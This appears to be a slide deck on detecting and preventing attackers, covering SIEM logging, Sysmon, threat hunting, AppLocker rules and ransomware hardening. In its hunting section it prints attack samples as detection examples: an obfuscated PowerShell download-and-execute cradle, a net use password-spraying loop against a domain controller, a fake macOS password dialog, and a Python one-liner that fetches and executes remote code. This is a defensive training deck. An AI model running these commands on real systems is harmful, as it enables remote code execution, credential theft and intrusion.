Detecting and Preventing the Adversary
Objective

S

• Learn something new
• Reduce breach detection
• Find evil things
SO YOU'RE TELLING ME
YOU WANT TO DEFEAT THE ATTACKER?
General Philosophies

- Black box approach
- Might end up with more detection
- Not a fan of silver bullets
- Prevention leads us to the water, but you can never drink enough
Security Awareness & Policy Enforcement

Endpoint Threat Detection and Response

Vulnerability & Log Management

Content Filtering/Perimeter Detection/Prevention

Privileged Account Management
Detect
## Logging

<table>
<thead>
<tr>
<th>Splunk</th>
<th>Graylog</th>
<th>Windows Event Forwarding</th>
</tr>
</thead>
<tbody>
<tr>
<td>$$$</td>
<td>Free</td>
<td>Free</td>
</tr>
<tr>
<td>Most advanced</td>
<td>Similar to Splunk</td>
<td>Can be a mess</td>
</tr>
<tr>
<td>Market skills available</td>
<td>Market skills easy to find</td>
<td>Requires no skills</td>
</tr>
<tr>
<td>Scales well</td>
<td>Scales well</td>
<td>Can feel ghetto</td>
</tr>
<tr>
<td>ML Toolkit</td>
<td>Limited features</td>
<td>Manual or PowerShell review</td>
</tr>
<tr>
<td>Enterprise Apps</td>
<td>No CIM</td>
<td></td>
</tr>
<tr>
<td>TA’s</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Large following/community</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Sysmon

- Simple deployment
- Standardized Config

https://github.com/MHaggis/sysmon-dfir
Windows Event Forwarding

- DeepBlueCLI
- EventMonkey
- PowerShell
Three Ways to Look at Everything

1. Specific detections
2. Broad detections
3. All the things
PowerShell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "$hqVR=[Type]("{3}{2}{0}{1}"-f 'C','LienT','.wEb','nET'); ${x}=( ( gCI ("V"+"ArIable"+":hQvr")))."v`ALUE":(\"{0}{1}\" -f 'n','ew').Invoke()\.(\"{3}{1}{0}{2}\" -f 'n','adstri','g','downlo').Invoke((\"{15}{10}{21}{4}{24}{20}{7}{5}{3}{38}{11}...\" -f '0a3','4','f27b69','ercont','/gi','bus','or-sec/2f','thu','raw/3','ob','t','nt.c','d7','/','126e96','ht','8c5ed','d','om','/em','gi','ps:/','p','f','st.',''6','dd','ed5a','/','4','5eeef3','9b55e79b0a','c26','v','3f87bd015','ect','f','64e60c41','e')).\.(\"{1}{0}\" -f 'EX','I')"

1. PowerShell.exe + netconn + …
2. PowerShell.exe –enc/download/http/
3. PowerShell.exe
@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \DOMAINCONTROLLER\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \DOMAINCONTROLLER\IPC$ > NUL

1. Net.exe view/user
2. Net.exe groups "domain administrators" /domain
3. Net.exe
osascript -e tell app "ScreenSaverEngine" to activate -e tell app "ScreenSaverEngine" to display dialog "ScreenSaver requires your password to continue. Password Incorrect!" & return default answer "" with icon 1 with hidden answer with title "ScreenSaver Alert"

EmPyre

https://github.com/adaptivethreat/EmPyre
python -c import urllib2; r = urllib2.urlopen('http://5.2.6.1/'); exec(r.read());

Python, perl, ruby....
So, you’re hunting now…
Now That You’re a Threat Hunter …

Put the pieces together:

- Authentication
- Firewall
- VPN
- DNS
Restricted by time
Has a “Scope”
Only works business hours

Bull in a china shop!
Not APT
Nation State

- Staffed
- Highly skilled
- Works around the clock
- Blends in

“Know your network better than you”

- https://youtu.be/bDJb8WOJYdA
- Rob Joyce, Chief, Tailored Access Operations, National Security Agency
Reduce the Attack Surface

**Perimeter**
- Network Segmentation
- Perimeter vulnerability assessment
- AppWhitelisting DMZ and Crown Jewels
- Multi-factor authentication
- DMZ Security lock down

**LAN/WAN**
- Logging
- Password Vault
- Account review and attack surface limiting
- Internal vulnerability scans
- Segmentation

**Awareness & Collaboration**
- Education
- Awareness Messaging
- Security Policies Implemented/enforced
- Third Party Software Patch Management

CIS Guides
Auditscripts.com
AppLocker

- `<drive letter>\users\<username>\appdata\local\temp`
- `<drive letter>\users\<username>\appdata\local`
- `<drive letter>\users\<username>\appdata`
- `<drive letter>\users\<username>\appdata\roaming`
- `<drive letter>\programdata`

`.ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub`

https://github.com/MHaggis/hunt-detect-prevent/tree/master/Prevention/Applocker
Application Whitelisting

- Custom rules to prevent
- Get granular, it pays off
- Case: Moving too fast

Mike’s 101 Strategy

- High Enforcement on servers
- Low Enforcement on workstations*
Anti-Virus

Day watcher

- Standard RoTM Detector
- Still highly bypassed
- NGAV
- Case: Dwell time
Ransomware

1. Backup and Restore Process
2. Block Macros
3. Disable WSH
4. Filter Attachments Level 1
5. Filter Attachments Level 2
6. Restrict program execution
7. Show File Extensions
8. Enforce UAC Prompt
9. Remove Admin Privileges
10. Restrict Workstation Communication
11. Sandboxing Email Input
12. Execution Prevention
13. Change Default "Open With" to Notepad
14. File Screening
15. Restrict program execution #2
16. EMET
17. Sysmon

Anti-Ransomware

- https://ransomfree.cybereason.com/
- https://go.kaspersky.com/Anti-ransomware-tool.html
Authentication

- Microsoft LAPS
- Microsoft ATA
- Password vault
- Separate admin accounts
- 2FA

DMZ
- Separate domain, no trust
- Hardened jump box, 2FA
- Make it hard
PowerShell

Prevent/Detect

- Code signing
- Not every workstation/server needs it
- Disable remote PowerShell
- PowerShell v5 logging

Not perfect, but...
Resources

- https://github.com/MHaggis/sysmon-dfir

Sharing is caring